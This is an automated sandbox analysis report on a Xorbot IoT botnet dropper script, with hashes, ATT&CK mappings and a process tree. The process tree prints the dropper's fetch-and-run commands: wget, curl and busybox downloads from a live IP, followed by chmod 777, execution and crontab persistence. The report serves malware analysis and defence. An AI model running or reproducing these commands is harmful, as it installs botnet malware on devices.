xorbot | a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

Analysis

max time kernel
150s
max time network
89s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
13/03/2025, 01:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

2d3354e4454c0aa1442c15ae4db570d7
SHA1

fa41bc59a61d70fed29d83a9fadcaf5f29a0306c
SHA256

a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf
SHA512

95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09
SSDEEP

192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 6 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
696	chmod
707	chmod
730	chmod
671	chmod
683	chmod
690	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	731	bins.sh

Renames itself 1 IoCs

pid	Process
732	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.2AcxYb	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 6 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/41/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/743/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/793/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/11/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/410/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/741/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/799/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/267/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/599/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/761/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/795/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/23/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/296/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/775/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/778/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/816/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/139/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/162/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/772/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/797/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/756/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/8/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/14/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/21/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/28/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/753/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/146/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/759/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/823/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/271/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/299/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/458/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/751/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/752/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/777/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/106/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/762/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/810/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/25/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/107/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/141/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/791/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/807/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/636/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/809/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/265/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/269/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/457/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/722/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/740/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/825/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/42/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/306/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/768/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/24/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/808/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
File opened for reading	/proc/819/cmdline	kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
710	rm
699	wget
702	curl
705	busybox
709	z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	wget
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	curl
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:644
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:652
- /usr/bin/wget
  wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:654
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Checks CPU configuration
  PID:660
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:669
- /bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:671
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:672
- /bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:674
- /usr/bin/wget
  wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:675
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:678
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:682
- /bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:683
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:684
- /bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:685
- /usr/bin/wget
  wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:686
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:688
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:689
- /bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:690
- /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:691
- /bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:692
- /usr/bin/wget
  wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:693
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:694
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:695
- /bin/chmod
  chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:697
- /bin/rm
  rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:698
- /usr/bin/wget
  wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:699
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:702
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:705
- /bin/chmod
  chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:709
- /bin/rm
  rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:710
- /usr/bin/wget
  wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Writes file to tmp directory
  PID:727
- /bin/chmod
  chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:731
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:733
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:734
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:737
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:738
- /bin/rm
  rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  PID:741
- /usr/bin/wget
  wget http://77.90.153.218/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  PID:745

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.2AcxYb

Filesize
210B

MD5
17f5eb5e1314e4cabc9391347059c5dd

SHA1
9408122635452e6187cc98850ecac0948ab1aa0e

SHA256
933db4ac56dcf278c56a2a9504ea597722e0da36463294300cb11e9ed73f3e18

SHA512
2f8caded2b8badb6e93e820c739aab858bf1680b53c94cf84a47bdbc14440b9d0cd9009755c6d996587729f6b4b2490ec5b2846b8f60089b19f64180a5e8daf8

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads